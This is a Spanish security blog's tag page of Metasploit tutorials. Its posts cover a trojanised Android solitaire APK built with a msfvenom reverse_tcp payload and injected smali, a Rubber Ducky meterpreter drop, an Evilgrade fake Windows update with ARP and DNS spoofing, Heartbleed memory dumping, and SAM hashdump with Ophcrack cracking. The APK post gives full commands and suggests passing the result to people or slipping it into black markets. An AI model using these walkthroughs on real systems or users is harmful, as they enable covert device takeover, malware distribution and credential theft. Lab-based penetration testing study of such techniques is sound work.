Mostrando entradas con la etiqueta Metasploit. Mostrar todas las entradas
Mostrando entradas con la etiqueta Metasploit. Mostrar todas las entradas

Meterpretear una apk

Vamos a ver paso a paso como podemos crear una apk, pues con un pequeño regalito de la marca Metasploit.


Para ello podemos usar apktool completamente, o la última versión de AndroidSwissKnife . Primero digamos que en este post vamos a tocar los temas de las APKs de Android, que es el formato utilizado para empaquetar las aplicaciones ( digamos que es una especie de zip, realmente podemos hacer unzip a un apk).
También vamos a tocar Metasploit, una gran herramienta para los pentesters, esta herramienta se basa en módulos los cuales permiten hacer (sobre todo intentos) de explotación de sistemas, con los módulos de exploit que cuenta la herramienta, o módulos auxiliares. Usaremos dos de las herramientas con las que cuenta metasploit: msfvenom (para generar payloads, dando la posibilidad de pasarlos por un encoder) y msfconsole (consola de comandos para hacer uso de exploits, modulos auxiliares...).
Vamos a realizar un sencillo proceso de Ingeniería inversa en android, pero bastante sencillo.

Bien, pues empezamos con el trabajo, para ello vamos a  poner un poco de música al asunto y enumeramos los materiales necesarios ( aquí una recomendación de mi parte: https://www.youtube.com/watch?v=Q7xLS6jqV90 ).

Materiales necesarios:
  1.  Tener el framework de explotación de Metasploit (para esta herramienta teneis en el blog en la sección de libros un buen ejemplar de como usar metasploit http://www.estacion-informatica.com/p/libros.html)
  2. Tener apktool instalado (descargar siempre la última versión pues en kali viene una algo anticuada).
  3. Tener una apk original en la que inyectaremos el módulo para lanzar el payload (yo usaré un sencillo juego del solitario)
  4. Algún conocimiento de smali y xml (pero bueno tampoco mucho pues voy a ir explicando).
Pasos a seguir, además explicaré un poco lo que realiza el payload.
  • Generaremos un payload para android con msfvenom, usaremos el conocido como reverse_tcp, para ello tenemos que saber nuestra IP a la que el cliente se conectará (el pobre que ejecute la aplicación) cuando arranque el solitario. Para esta tarea tenemos el comando ifconfig, así que abrimos una terminal y escribimos "ifconfig":
Bien de estas IPs que aparecen yo usaré la 10.0.0.1, ya que en esta subred se encuentra la máquina android con la que haremos las pruebas, ahora ejecutaremos msfvenom para sacar el payload:

  msfvenom --payload android/meterpreter/reverse_tcp lhost=10.0.0.1 lport=4444 -f raw > trojan.apk


 

Ya tendremos una apk con el nombre trojan.apk, o en mi caso trojan2.apk (seguiremos usando trojan.apk).

Vamos a sacar una representación de alto nivel (en java) de esta aplicación para ver un poco como funciona, y así aprendemos un poquito de reversing, además nunca viene mal saber como funciona nuestra aplicación maliciosa. Podemos usar dos herramientas: androidSwissKnife o dex2jar directamente:

          androidSwissKnife -a trojan.apk -o trojan --get-jar
                                            Si usamos dex2jar
          dex2jar trojan.apk


Seguidamente usaremos jd-gui para ver este código:

        jd-gui trojan_dex2jar.jar

Y seguidamente, inspeccionamos el código, vamos a MainActivity. Y vemos que lo primero que hace es crear un Service, lo cual en android es un proceso en segundo plano:

Y el service a su vez llama ya al método start de una extraña clase llamada Payload .


Investigando la clase Payload vemos que apunta a nuestra IP y el puerto elegido (4444), esta clase es la que ejecuta el payload y por tanto nos da la posibilidad de tener un cliente conectado a nosotros.
Algo que nos interesa de aquí de este service es la llamada a ese Payload ( Payload.start(this) ). Esta llamada la inyectaremos en el código del onCreate() de la actividad principal del juego del solitario.

Vamos a ejecutar apktool en ambas APKs. Podeis seguir los dos métodos, el usar apktool directamente o androidSwissKnife.

             androidSwissKnife -a name.apk -o name_output --apktool
                                    o si usamos apktool
             apktool d name.apk -o name_output

Y tendremos ya dos carpetas, una para cada APK con el AndroidManifest y con el código en formato smali (del cual ya hablé en mi anterior post).


Ahora abriremos ambos AndroidManifest.xml de ambas carpetas, pues tenemos que copiar los <uses-permission del trojan.apk al de solitario.apk, para poder realizar todo tipo de actividades malintencionadas ( No seais malignos con esto... ). Vamos a ver dos imagenes una con los <uses-permission sin el cambio y otro con el cambio:

Como se ve se hemos ampliado bastante la lista, los <uses-feature no nos hacen falta pues sólo nos condicionan a que dispositivos podemos instalar la aplicación.

Seguidamente de la carpeta apktool-trojan (o como vosotros la nombrarais), vamos a coger la carpeta metasploit dentro de la ruta apktool-trojan/smali/com . Y la copiamos y la pegamos dentro de nuestra apk original en la ruta apktool-(nombre apk)/smali/com . Con esto ya tenemos el código completo dentro de la aplicación original. Ahora abrimos dos archivos muy, y digo MUY importantes, el código MainService.smali de Metasploit y el MainActivity.smali de nuestra aplicación original.

Vamos con el primero, el MainService.smali , nos centraremos en el código de onStartCommand :

Bien vamos a ver abajo de donde pone .line 16 esa linea invoca al método start de la clase Payload , pasando como argumento p0 , en smali en códigos no static es la variable this. Ya sabeis si habeis programado en java, que es una variable que apunta a la clase u objeto en si mismo.
Esa linea es la que copiaremos en el método onCreate de MainActivity.smali de la APK original .

IMPORTANTE: ¿Cómo sabemos cual es la Activity principal de la apk original?. Bien, consultaremos el AndroidManifest.xml de la apk original, y aquella que tenga un Intent-Filter con un Main y un Launcher. Usamos esa.


Veis, aquí directamente copiar y pegar a capón esa linea, y en cuanto se ejecute el onCreate, tenemos que tener un handler escuchando con msfconsole.
De momento vamos a volver a crear la apk, con apktool y firmarla con d2j-apk-sign (podeis hacerlo con androidSwissKnife, pero os voy a poner los comandos con apktool y d2j-apk-sign):

            apktool b folder-name/ -o name_temporary.apk
            d2j-apk-sign -f -o final.apk name_temporary.apk


Y con esto tendremos en final.apk la apk final que tenemos que pasar a la gente y que se instalen manualmente (podemos intentar colarlas en black markets, para todo el que tenga el dispositivo root).

Ahora vamos a ejecutar los siguientes comandos:

                   msfconsole
                                Seguidamente cuando nuestra consola cargue...
                   use exploit/multi/handler
                   set payload android/meterpreter/reverse_tcp
                   set lhost 10.0.0.1
                   set lport 4444
                   run



Y ahora a esperar que alguien ejecute la aplicación, la cual funcionará sin que él se percate.

Vamos aquí a ejecutarlo en una máquina virtual, a ver que pasa:


Muy bien, tenemos a una persona contenta de poder echarse una partida al solitario, y a otra haciendo cosas maliciosas en otra máquina con meterpreter.


Hasta aquí el POST. Espero no resultara muy pesado, he intentado hacerlo algo divertido y subir imágenes que muestren el proceso paso a paso. Para cualquier problema o cualquier pregunta podeis contactar conmigo.

Un saludo, hasta el proximo post. Fare9

(Idea sacada de la lectura de: http://www.securitybydefault.com/2014/08/alterando-el-contenido-de-un-apk-parte.html )

Metasploit & Rubber Ducky una Pareja Letal

Hola  tod@s

Todos conocemos el potencial que ofrece Metasploit, una gran herramienta para desarrollar y ejecutar exploits contra una máquina remota. Igualmente quien no ha jugado con el pato alguna vez, al utilizar este divertido producto podremos estar lanzando comandos en el PC víctima como si estuviéramos delante de él, ya que se trata en realidad de un teclado programado.
Imaginad ahora la combinación de ambos, se trata de una pareja letal, el test de penetración definitivo. 

Sin más dilaciones vamos a realizar la prueba de concepto.

En primer lugar debemos tener el script creado en ruby, el que creara una Shell “windows/meterpreter/reverse_tcp” que tantas veces hemos usado en Metasploit.

Ejecutamos el script, nos solicitará nuestra IP local y el puerto y automáticamente generará la shellcode.

Imagen 1: Ejecución del script en Ruby


En el siguiente paso tenemos que dejar a la escucha, ya que se ejecutará de forma totalmente automatizada el exploit/multi/handler y el payload. 

Imagen 2: Dejar a la escucha Handler


Es ahora turno del pato, en el paso anterior el script también nos creó un archivo de texto, tal que así.



Este archivo es el que convertiremos a continuación para inyectar en nuestro rubber ducky.

Imagen 3: Conversión del archivo


Tan sólo queda el último y gratificante paso, copiar el binario en el rubber ducky y pichar el pato en nuestra víctima, si todo ha ido bien veremos al pato trabajar y ejecutando el payload en el terminal de la víctima.

Imagen 4: Payload ejecutándose con éxito


En cuestión de segundos el pato y metasploit realizan su trabajo y tenemos una hermosa sesión de meterpreter.

Imagen 5: Sesión exitosa de meterpreter

Como podemos observar en la imagen anterior la computadora LAB-PC es nuestra, tenemos control total sobre ella. Sin duda es una combinación para un test de penetración, ya que usamos el potencial de metasploit con la rapidez y el vector del rubber ducky.

No seáis malos. 

Evilgrade

Hola a tod@s

Tenía ganas de conocer bien a fondo a Evilgrade, un framework para comprometer equipos en un test de intrusión a través de actualizaciones no legítimas. Cuenta con una amplia variedad de módulos, como Ccleaner, Quicktime, Java, Winamp, Virtualbox, Vmware, etc.


Para comenzar con la Poc, necesitaremos Metasploit, Ettercap y por su puesto Evilgrade. Lo primero que haremos es crear el payload malicioso, esto será el ejecutable de la actualización falsa.

Imagen 1: Creación Payload

En mi caso sería:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.134 LPORT=4444 X > /root/update.exe

Ahora es turno de Evilgrade, elegimos el modulo, yo me decante por las actualizaciones de Windows.:
config winupdate

Imagen 2: Elección Modulo Evilgrade

A continuación abrimos Ettercap, elegimos la interfaz de red.

Imagen 3: Interfaz de red


Procedemos a escanear la red y listar los host que se van a spoofear, el target 1 será la puerta de enlace y el target 2 la maquina víctima, a continuación nos situamos en la pestaña Mitm y hacer click en Arp poisoning.

Imagen 4: Configuración Ettercap

Para terminar con Ettercap activamos el plugin dns spoof.

Imagen 5: Plugin dns spoof

Ahora volvemos a Evilgrade y especificamos la ruta del payload que creamos anteriormente.
set agent /root/update.exe
start

Imagen 6: Identificar agent

Ya podemos probar el ataque, para ello lanzamos start en Evilgrade y Ettercap, por otro lado igualmente dejamos listo Metasploit, para ello vamos a dejar a la escucha.
msfcli exploit/multi/handler/ PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.34 LPORT=4444 E

Imagen 7: Windows Update

A continuación vamos a la maquina víctima y actualizamos Windows.

Imagen 8: Descarga Payload Malicioso

Como vemos nos descargamos el update.exe

Imagen 9: Sesión exitosa Meterpreter

Como vemos nos descargamos el update.exe y el atacante observará una bonita sesión exitosa de Meterpreter y partir de ahí como dice mi amigo Pablo "El límite es tu imaginación"

Nota: El archivo etter.dns de vuestra maquina debe estar definido vuestra ip local con la web a spoofear, por ejemplo:
192.168.1.134 A update.microsoft.com


No seáis malos.

Explota Heartbleed sin meterte en líos

Hola a tod@s

En el post de hoy vamos a explicar cómo explotar una de las vulnerabilidades más sonadas de la historia, Heartbleed.

¿Qué es Heartbleed?

Nos ponemos en antecedentes, la vulnerabilidad se dio a conocer el pasado 1 de abril por Mark J. Cox de OpenSSL y Neel Mehta del equipo de seguridad de Google. Grandes empresa se vieron o están afectadas al utilizar esta tecnología.
El error de Heartbleed es una vulnerabilidad grave en la Biblioteca popular de software criptográfico de OpenSSL. Esta vulnerabilidad muestra de forma aleatoria fragmentos de memoria del proceso de hasta 64Kb. 

¿Cómo saber si soy vulnerable?

Existe multitud de métodos para comprobar si somos vulnerables a esta grave vulnerabilidad. Tenemos donde elegir, un script para Nmap, test online, exploits publicados, extensiones para tu navegador y hasta un plugin para la foca.

Explotación

Para llevar a cabo la explotación, la he realizado obviamente en un entorno controlado, seamos buenos. Para ello he preparado un servidor vulnerable, en mi caso turnkey-wordpress-13.0 corriendo sobre una máquina virtual. En el otro lado, para realizar el ataque una máquina virtual con KALI.

Para la realización de la  explotación contamos con nuestro amigo Metasploit, realizamos una búsqueda para ver que tenemos en relación con Heartbleed.

Imagen 1: Búsqueda Exploit 

Ya tenemos el que vamos a utilizar, ahora veamos que opciones tenemos disponibles.

Imagen 2: Show Options

Por otro lado, vamos a levantar el servidor en la dirección 172.16.0.228 y procedemos al panel de administración para autenticarnos.

Imagen 3: Cpanel

Volvemos a nuestro terminal de Metasploit, en primer lugar indicamos que queremos el modo verbose con esto sacamos el máximo de información.

set verbose true

A continuación definimos el host remeto, en nuestro caso la 172.16.0.228.

set rhosts 172.16.0.228

Y por último lanzamos.

run

Imagen 4: Volcado de información

Si haces clic en la foto de arriba, podrás que Metasploit ha comunicado con el servidor y pudo sacar datos aleatorios de la memoria del servidor.

Lo importante aquí es que tira de datos aleatorios de la memoria. No hay ninguna garantía de que encontremos las credenciales de cuenta, datos de la cookie de sesión o datos críticos cada vez que ejecuta este. Pero el peligro está en el hecho de que podría exhibir datos sensibles.

Solución
  • Si eres un usuario te recomendamos que cambies tus contraseñas.
  • En caso de tener un servidor con OpenSSL, su versión debería ser la 1.0.1g o superior.


No seáis malos. 
Post Explotación con Metasploit y Ophcrack

Post Explotación con Metasploit y Ophcrack

Hola a tod@s


Cuando realizamos una auditoria de seguridad informática, más concretamente un test de intrusión se basa en conocer hasta dónde podemos llegar comprometiendo un sistema. Ya hemos recolectado información, hemos analizados las vulnerabilidades y comprometido un sistema en la fase de explotación. ¿Y ahora qué? ¿Nos conformamos con sólo un equipo pudiendo gobernar a todos?

 1
Imagen 1: Sesion Meterpreter

Es curioso como muchas empresas utilizan la misma contraseña para todos los ordenadores corporativos. Una técnica que suelo utilizar es conseguir las credenciales de administrador del equipo vulnerado y comprobar si el resto de máquinas accesibles comparten la misma contraseña.


En sistemas Windows, el sistema operativo almacena las contraseñas cifradas en el fichero SAM con los algoritmos LM o NTLM. En sistemas anteriores a Windows Vista o Windows 2008, el algoritmo de cifrado por defecto es LM. El cifrado que utiliza Windows es muy débil ya que soporta un tamaño máximo de contraseña de 14 caracteres, no distingue mayúsculas de minúsculas, almacena el hash en dos partes de 7 caracteres, y no añade “sal” en el almacenamiento para añadirle aleatoriedad, haciéndolo muy vulnerable a ataques por fuerza bruta.


Como hemos visto en la imagen anterior tenemos la maquina vulnerada, hemos conseguido una sesión con meterpreter, no obstante antes de ir a por “el turrón” podemos sacar información de la maquina. Con el comando getuid podemos saber los privilegios que tenemos en el sistema y con sysinfo tenemos información como el nombre de la maquina, sistema operativo, arquitectura, etc.

2
Imagen 2: Información de la Maquina

Una recomendación que lanzo desde aquí es migrar el proceso, a veces las maquinas vulneradas no tienen suficientes privilegios y no podemos recuperar la SAM. Por ello recomiendo migrar al proceso lsass.exe

Para tal objetivo tenemos disponible el comando ps el cual nos listara todos los procesos que se están ejecutando en la maquina “víctima”.

Tan sólo nos bastará buscar el proceso y quedarnos con su PID en mi caso migrate 680.

3
Imagen 3: Migrate


Ahora sí, vamos a recuperar los hashes almacenados en la SAM:

 4
Imagen 4: Volcado Hashes

Para ello introducimos en nuestra consola de Metasploit el comando run post/windows/gather/hashdump


Ya tenemos los hashes, sólo nos queda descifrarlos y sacar las passwords, como vimos anteriormente el usuario víctima es administrador.


Para sacar las password voy a utilizar una herramienta que también tenemos disponible en KALI, como es Ophcrack, la encontrareis en Password Attacks.

 5
Imagen 5: Descifrado del Hash

Ophcrack es una herramienta gráfica muy intuitiva, tan sólo tenemos que cargar el hash y botón Crack para comenzar el descifrado. Como veis la contraseña era muy débil 1234, en cuestión de segundos la ha sacado.


Con la password en texto plano, es decir en legible, ya estamos listos para ir comprobando si el resto de maquinas comparten la misma contraseña, a divertirse.


No seáis malos.

Exploit ie_setmousecapture_uaf

Hola a tod@s

Como todos sabemos, el pasado mes de septiembre Microsoft anunciaba un nuevo 0-day para Internet Explorer el CVE-2013-3893 que afecta a todas las versiones desde la 6 a la 11. La vulnerabilidad permite a un atacante la ejecución remota de código debido a una mala implementación de SetMouseCapture en mshtml.dll.

Para probar esta vulnerabilidad hemos realizado esta prueba de concepto. Para ello he utilizado Kali que obviamente actúa como atacante y como víctima Windows 7 SP1 con Office 2007.

Antes de nada, tenéis que descargar e instalar el modulo: http://www.exploit-db.com/download/28682

 
Imagen 1: Atacante



Imagen 2: Víctima




Microsoft a fecha que se escribió este post no ha publicado ningún parche, la única solución es instalarte un Fix-it o estas jodi**.





No seáis malos.